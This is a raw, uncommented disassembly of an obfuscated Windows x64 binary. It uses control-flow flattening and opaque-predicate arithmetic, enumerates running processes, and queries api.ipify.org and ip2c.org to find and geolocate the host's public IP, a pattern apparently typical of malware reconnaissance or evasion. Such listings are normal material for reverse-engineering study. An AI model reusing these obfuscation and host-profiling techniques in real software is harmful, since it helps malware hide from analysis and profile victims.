cmp eax, 0xc0232712
je 0x14002a202
cmp eax, 0xc0a967ba
je 0x14002a217
cmp eax, 0xc0bdbe0e
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xcecf7c26
and edx, 0x313083d9
or edx, ebx
xor edx, 0x313083d8
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0x5ad4d720
mov ebx, 0x49e9d51c
cmovne eax, ebx
test cl, cl
cmovne eax, r12d
jmp 0x14002b007
cmp eax, 0x9c71c429
je 0x14002a342
cmp eax, 0x9d5fcafd
je 0x14002a397
cmp eax, 0x9e32e401
jne 0x14001ff30
mov rax, qword [rbp - 0x18]
mov dword [rax], 0x238
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call sub.KERNEL32.dll_Process32FirstW
add rsp, 0x20
mov eax, 0xbe6ffb42
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xdbdf71b9
je 0x14002a425
cmp eax, 0xdbf697df
je 0x14002a499
cmp eax, 0xdc4100bf
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x83931481
mov ebx, 0xfc09a1e5
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x83931481
cmovne eax, ebx
jmp 0x14002a32d
cmp eax, 0x8fcff7ba
je 0x14002a4ae
cmp eax, 0x90fef42a
je 0x14002a4c3
cmp eax, 0x910a544f
jne 0x14001ff30
mov rax, qword [rbp - 8]
mov rax, qword [rbp - 8]
mov dword [rax], 0
mov rax, qword [rbp]
mov rbx, qword [rbp]
sub rsp, 0x20
mov r8d, 0x1f4
mov rcx, rbx
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov r9, qword [rbp - 8]
mov rcx, qword [rbp + 0xc8]
sub rsp, 0x20
mov rdx, rbx
mov r8d, 0xfa
call qword [0x140081fc8]
add rsp, 0x20
mov rax, qword [rbp + 8]
mov rax, qword [rbp + 8]
mov qword [rax], rbx
mov rdx, qword [rbp + 8]
sub rsp, 0x20
lea rcx, [0x1400871c0]
mov r8d, 0x32
xor r9d, r9d
call fcn.140060110
add rsp, 0x20
mov eax, 0xc3368c64
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xcb298ba4
je 0x14002a4d8
cmp eax, 0xcbdddcb3
je 0x14002a4ed
cmp eax, 0xcbff8d29
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x4ec0da29
and ecx, 0xb13f25d6
or ecx, eax
mov eax, ecx
xor eax, 0xb13f25d6
and eax, 0xfffffffe
xor ecx, 0x4ec0da28
or ecx, eax
cmp ecx, 0xffffffff
setne al
sete cl
cmp dword [0x1400820fc], 9
setg dl
xor cl, dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, ecx
xor bl, dl
test dl, dl
mov eax, 0xfdc111b4
mov edx, 0xb14dfbaa
cmovne eax, edx
test cl, cl
cmovne eax, edx
test bl, bl
mov ecx, 0xfdc111b4
jmp 0x14002bb92
cmp eax, 0xaf440522
je 0x14002a553
cmp eax, 0xb06fa1cb
je 0x14002a58f
cmp eax, 0xb147a2de
jne 0x14001ff30
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3a587248
and edx, 0xc5a78db7
or edx, ecx
mov ebx, edx
xor ebx, 0xc5a78db7
xor edx, 0x20487000
and edx, 0xa0ed7127
mov ecx, ebx
and ecx, 0x5f128ed8
or ecx, edx
xor ecx, 0x5f128ed9
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
mov ecx, 0xac73347e
mov edx, 0xfc056a49
cmovne ecx, edx
test al, al
mov eax, 0xac73347e
cmovne eax, ecx
test bl, bl
jmp 0x14002b9c2
cmp eax, 0x850114fe
je 0x14002a608
cmp eax, 0x861b5f7b
je 0x14002a66b
cmp eax, 0x8707c1c9
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xf25657b8
mov eax, edx
and eax, 0xda9a847
or eax, ebx
xor eax, 0xda9a846
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0x8a64d7fc
mov edx, 0x2d8c2fbc
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0x8a64d7fc
jmp 0x140029551
cmp eax, 0xc415c598
je 0x14002a69b
cmp eax, 0xc417bedf
je 0x14002a6c5
cmp eax, 0xc5723115
jne 0x14001ff30
mov eax, 0xc16ce534
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xa6df903c
je 0x14002a738
cmp eax, 0xa8d6b30b
je 0x14002a74d
cmp eax, 0xa91d104c
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x8c7d357
and edx, 0xf7382ca8
or edx, ebx
xor edx, 0x8c7d356
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov edx, ecx
xor dl, bl
test bl, bl
mov eax, 0x42711002
mov ebx, 0x8390cd95
cmovne eax, ebx
test cl, cl
mov ecx, 0x42711002
jmp 0x14002b004
cmp eax, 0xe2a2f0c1
je 0x14002a7b2
cmp eax, 0xe33cf86a
je 0x14002a81e
cmp eax, 0xe42c97f0
jne 0x14001ff30
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xe435e38d
mov ebx, ecx
and ebx, 0x1bca1c72
or ebx, edx
xor ebx, 0x1bca1c73
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xb5338324
and ecx, 0x4acc7cdb
or ecx, edx
xor ecx, 0x4acc7cdb
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
test al, al
mov eax, 0xcbff8d29
mov edx, 0xb14dfbaa
cmovne eax, edx
test bl, bl
cmove eax, edx
test cl, cl
mov ecx, 0xcbff8d29
jmp 0x14002b9c2
cmp eax, 0x962e7a39
je 0x14002a833
cmp eax, 0x966daf8b
je 0x14002a848
cmp eax, 0x970989d4
jne 0x14001ff30
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
call qword [0x140081bc8]
add rsp, 0x20
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x6ec8cab2
and edx, 0x9137354d
or edx, eax
mov eax, edx
xor eax, 0x9137354c
and eax, 0xfffffffe
xor edx, 0x6ec8cab3
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0x2b36dc67
mov ebx, 0x6b410a77
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, cl
mov eax, 0x2b36dc67
jmp 0x14002a730
cmp eax, 0xd2f43deb
je 0x14002a8d5
cmp eax, 0xd318cbb1
je 0x14002a953
cmp eax, 0xd32e008c
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xf92b84fe
and edx, 0x6d47b01
or edx, ebx
xor edx, 0x6d47b00
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
mov eax, 0xc3543cb9
mov edx, 0x9985e451
cmovne eax, edx
test cl, cl
mov ecx, 0xc3543cb9
jmp 0x14002b47c
cmp eax, 0xb8487729
je 0x14002a986
cmp eax, 0xba1da17d
je 0x14002aa55
cmp eax, 0xbab1644e
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov edx, 0x8be47a5f
mov eax, 0x9c71c429
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x8be47a5f
jmp 0x14002ae76
cmp eax, 0x8235b03e
je 0x14002aab0
cmp eax, 0x823e3bfd
je 0x14002aac5
cmp eax, 0x82c629e3
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x65e9cac4
mov edx, eax
and edx, 0x9a16353b
or edx, ecx
xor edx, 0x9a16353a
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x114bb8ce
and eax, 0xeeb44731
or eax, ecx
xor eax, 0xeeb44731
sete al
setne cl
cmp dword [0x1400820fc], 0xa
setl dl
xor cl, dl
mov ebx, eax
xor bl, dl
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, bl
test dl, dl
mov eax, 0xbe6ffb42
mov edx, 0x9e32e401
cmovne eax, edx
test bl, bl
cmove eax, edx
test cl, cl
mov ecx, 0xbe6ffb42
jmp 0x14002b9c2
cmp eax, 0xc16ce534
je 0x14002ab39
cmp eax, 0xc182617c
je 0x14002abb5
cmp eax, 0xc2bd99ce
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x3a23e6d7
mov edx, eax
and edx, 0xc5dc1928
or edx, ecx
xor edx, 0xc5dc1929
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
setne bl
cmp dword [0x1400820fc], 0xa
setl dl
xor bl, dl
mov ecx, ebx
xor cl, 1
or al, dl
xor al, 1
or al, cl
xor cl, al
mov ecx, 0x775be98a
mov edx, 0xeb675994
cmovne ecx, edx
test al, al
mov eax, 0x775be98a
cmovne eax, ecx
test bl, bl
jmp 0x14002bb92
cmp eax, 0xa147ea3c
je 0x14002abca
cmp eax, 0xa20cc480
je 0x14002ac5a
cmp eax, 0xa212d103
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xc3e50d3f
and edx, 0x3c1af2c0
or edx, ebx
xor edx, 0x3c1af2c1
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0xde5c977a
mov edx, 0x566edf8
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, al
mov eax, 0xde5c977a
jmp 0x14002b481
cmp eax, 0xdf3c6ae7
je 0x14002ace2
cmp eax, 0xdfc0dc08
je 0x14002acf7
cmp eax, 0xe050eacd
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa935afe8
mov edx, eax
and edx, 0x56ca5017
or edx, ecx
xor edx, 0x56ca5016
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x53a043f9
and eax, 0xac5fbc06
or eax, ecx
xor eax, 0xac5fbc06
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xd81340af
mov ebx, 0x9b434fbc
cmovne eax, ebx
test dl, dl
mov edx, 0xd81340af
jmp 0x14002a38f
cmp eax, 0x91abb4b3
je 0x14002ad4d
cmp eax, 0x9235ae45
je 0x14002adb0
cmp eax, 0x92613878
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov ebx, 0xa0961639
mov eax, 0x77fd9b49
cmovne ebx, eax
test dl, dl
mov eax, 0xa0961639
jmp 0x14002b8e8
cmp eax, 0xce9bc144
je 0x14002ae22
cmp eax, 0xcecf44a3
je 0x14002ae8e
cmp eax, 0xced5ace0
jne 0x14001ff30
cmp byte [rbp + 0x112], 0
mov eax, 0xb360330b
mov ecx, 0x405e9a4e
cmovne eax, ecx
mov ecx, dword [rbp + 0x120]
mov dword [rbp - 0x74], ecx
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xb4317b3a
je 0x14002aea9
cmp eax, 0xb4e46659
je 0x14002af10
cmp eax, 0xb4fc442c
jne 0x14001ff30
mov eax, 0x41cad8d2
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x8bc12530
je 0x14002af25
cmp eax, 0x8be47a5f
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
setne cl
cmp dword [0x1400820fc], 0xa
setl dl
xor cl, dl
mov ebx, edx
xor bl, al
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
mov ecx, 0x68173ef
mov eax, 0x5036d1b6
cmovne ecx, eax
test dl, dl
mov eax, 0x68173ef
jmp 0x14002a949
cmp eax, 0xc9445304
je 0x14002b00e
cmp eax, 0xc991504a
jne 0x14001ff30
mov rax, qword [rbp + 0x10]
mov rbx, qword [rbp + 0x10]
movaps xmmword [rbx + 0x20], xmm6
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx], xmm6
mov word [rbx + 0x30], 0
sub rsp, 0x20
mov rcx, rbx
lea rdx, str.https:__ip2c.org_
call fcn.140060c84
mov rcx, rbx
lea rdx, [0x1400871c0]
call fcn.140060c84
add rsp, 0x20
mov rcx, qword [rbp + 0xd8]
sub rsp, 0x30
movups xmmword [rsp + 0x20], xmm6
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [0x140087230]
add rsp, 0x30
mov eax, 0x1e55044b
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xac1d7688
je 0x14002b1eb
cmp eax, 0xac39e0e0
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x694f9062
and ecx, 0x96b06f9d
or ecx, edx
xor ecx, 0x96b06f9c
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0xca978a8
mov ebx, 0x9784788e
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0xca978a8
jmp 0x140029b53
cmp eax, 0xe9e6803b
je 0x14002b207
cmp eax, 0xeb675994
jne 0x14001ff30
mov eax, 0x775be98a
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x99427f84
je 0x14002b21c
cmp eax, 0x9985e451
jne 0x14001ff30
mov rax, qword [rbp - 0x10]
mov rbx, qword [rbp - 0x10]
movaps xmmword [rbx + 0x20], xmm6
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx], xmm6
mov word [rbx + 0x30], 0
sub rsp, 0x20
mov rcx, rbx
lea rdx, str.https:__api.ipify.org_
call fcn.140060c84
add rsp, 0x20
mov rcx, qword [rbp + 0xb0]
sub rsp, 0x30
movups xmmword [rsp + 0x20], xmm6
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [0x140087230]
add rsp, 0x30
mov eax, 0xc3543cb9
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xd67f15b3
je 0x14002b231
cmp eax, 0xd6f84897
jne 0x14001ff30
mov eax, 0x7dc8f07d
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xbe1e63ec
je 0x14002b2c2
cmp eax, 0xbe6ffb42
jne 0x14001ff30
mov rax, qword [rbp - 0x18]
mov dword [rax], 0x238
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call sub.KERNEL32.dll_Process32FirstW
add rsp, 0x20
test eax, eax
setne byte [rbp + 0xad]
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x9159137
and edx, 0xf6ea6ec8
or edx, ecx
mov ebx, edx
xor ebx, 0xf6ea6ec8
xor edx, 0x8010015
and edx, 0x3e292cdd
mov ecx, ebx
and ecx, 0xc1d6d322
or ecx, edx
xor ecx, 0xc1d6d323
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
setne cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl bl
xor bl, cl
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov ecx, ebx
xor cl, dl
test dl, dl
mov eax, 0xffcb33c0
mov edx, 0x9e32e401
cmovne eax, edx
test bl, bl
cmovne eax, edx
test cl, cl
mov ecx, 0xffcb33c0
jmp 0x14002bb92
cmp eax, 0x81ce5c9e
je 0x14002b326
cmp eax, 0x8218abfa
jne 0x14001ff30
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call qword [0x140082020]
add rsp, 0x20
mov eax, 0x5a4547e
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xc10781d5
je 0x14002b3a5
cmp eax, 0xc12b0eb0
jne 0x14001ff30
mov eax, 0xbe1e63ec
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x9f61507a
je 0x14002b40d
cmp eax, 0xa0961639
jne 0x14001ff30
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
sub rsp, 0x20
mov ecx, 2
xor edx, edx
call qword [0x140087228]
add rsp, 0x20
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
cmp rax, 0xffffffffffffffff
sete byte [rbp + 0xac]
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x95f82f8a
and edx, 0x6a07d075
or edx, ebx
xor edx, 0x6a07d074
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0x77fd9b49
mov ebx, 0xa9c45ede
cmovne eax, ebx
test cl, cl
mov ecx, 0x77fd9b49
jmp 0x14002b004
cmp eax, 0xdde4d52d
je 0x14002b489
cmp eax, 0xde5c977a
jne 0x14001ff30
mov eax, 0xa8d6b30b
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x916adc07
je 0x14002b532
cmp eax, 0x919d5bef
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x205580b8
and edx, 0xdfaa7f47
or edx, ebx
xor edx, 0x205580b9
or edx, eax
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl dl
cmp ecx, 9
setg cl
xor cl, al
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0x23500a38
mov ebx, 0x294d6619
cmovne eax, ebx
test dl, dl
mov edx, 0x294d6619
jmp 0x140029797
cmp eax, 0xccf921e2
je 0x14002b6b4
cmp eax, 0xcd0f6e05
jne 0x14001ff30
mov eax, 0xb4317b3a
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xb360330b
je 0x14002b75f
cmp eax, 0xb3ee43b0
jne 0x14001ff30
mov eax, 0xa28a2c09
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x8a4413ee
je 0x14002b7f6
cmp eax, 0x8a64d7fc
jne 0x14001ff30
mov dword [rbp - 0x70], 0
mov eax, 0x1579560
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xc64eea63
je 0x14002b80b
cmp eax, 0xc78af3dc
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xc182617c
mov ebx, 0xec19e5f5
cmovne eax, ebx
test dl, dl
mov edx, 0xc182617c
jmp 0x14002ae0a
cmp eax, 0xaa933fa6
je 0x14002b821
cmp eax, 0xab65d6aa
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x6f1e96e
and ecx, 0xf90e1691
or ecx, edx
xor ecx, 0x6f1e96f
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x9a4c3135
mov ebx, 0x842387a5
cmovne eax, ebx
test dl, dl
mov edx, 0x9a4c3135
jmp 0x14002ae0a
cmp eax, 0xe63b8eb7
je 0x14002b836
cmp eax, 0xe8ea2d5f
jne 0x14001ff30
mov eax, 0xd2f43deb
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x98bd48c6
je 0x14002b84b
cmp eax, 0x9907c07e
jne 0x14001ff30
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call qword [0x140082020]
add rsp, 0x20
mov eax, 0x49333ff5
mov dword [rbp - 0x68], 1
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xd559dfd5
je 0x14002b860
cmp eax, 0xd55a46c5
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x45a28d71
mov ebx, 0xcb298ba4
cmovne ecx, ebx
test al, al
mov eax, 0x45a28d71
cmove ecx, eax
test dl, dl
cmovne ecx, ebx
jmp 0x14002bd11
cmp eax, 0xbb74ddba
je 0x14002b900
cmp eax, 0xbca40adc
jne 0x14001ff30
mov dword [rbp - 0x6c], 0
mov eax, 0x78d6d8bb
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x842387a5
je 0x14002b978
cmp eax, 0x843c73cd
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
mov eax, 0xfe48073a
mov edx, 0x213f375
cmovne eax, edx
test bl, bl
mov edx, 0xfe48073a
jmp 0x14002a72b
cmp eax, 0xc3543cb9
je 0x14002b9d5
cmp eax, 0xc375a6cd
jne 0x14001ff30
mov eax, 0xc10781d5
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xa453c2cf
je 0x14002bace
cmp eax, 0xa6dd0bd6
jne 0x14001ff30
mov rax, qword [rbp + 0x10]
mov rbx, qword [rbp + 0x10]
movaps xmmword [rbx + 0x20], xmm6
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx], xmm6
mov word [rbx + 0x30], 0
sub rsp, 0x20
mov rcx, rbx
lea rdx, str.https:__ip2c.org_
call fcn.140060c84
mov rcx, rbx
lea rdx, [0x1400871c0]
call fcn.140060c84
add rsp, 0x20
mov rcx, qword [rbp + 0xd8]
sub rsp, 0x30
movups xmmword [rsp + 0x20], xmm6
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [0x140087230]
add rsp, 0x30
mov eax, 0x6361aa2b
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xe25d7458
je 0x14002bae1
cmp eax, 0xe271121d
jne 0x14001ff30
cmp byte [rbp + 0x97], 0
mov eax, 0x43479615
mov ecx, 0xd2f43deb
jmp 0x14002bb92
cmp eax, 0x95af0086
je 0x14002bb81
cmp eax, 0x95f2d6a9
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete dl
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, al
and dl, bl
or dl, cl
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov eax, ebx
xor al, dl
mov ecx, 0xff74f9d9
mov eax, 0x9c71c429
cmovne ecx, eax
test bl, bl
mov eax, 0xff74f9d9
jmp 0x140029a61
cmp eax, 0xd07f6bd1
je 0x14002bba5
cmp eax, 0xd1d374a0
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov eax, 0xd4f495d
mov ebx, 0x1b8f8aff
cmovne eax, ebx
test cl, cl
mov ecx, eax
mov ebx, 0xd4f495d
cmovne ecx, ebx
test dl, dl
cmovne ecx, eax
jmp 0x14002bd11
cmp eax, 0xb63d8751
je 0x14002bc2d
cmp eax, 0xb7426dce
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xf9c9a448
mov edx, eax
and edx, 0x6365bb7
or edx, ecx
xor edx, 0x6365bb6
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x45edfe7e
and eax, 0xba120181
or eax, ecx
xor eax, 0xba120181
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov eax, 0xd07f6bd1
mov ebx, 0xe21df71c
cmovne eax, ebx
test dl, dl
mov edx, 0xd07f6bd1
cmovne edx, eax
test cl, cl
jmp 0x14002a730
cmp eax, 0x8d3b86e0
je 0x14002bc98
cmp eax, 0x8f31e60b
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
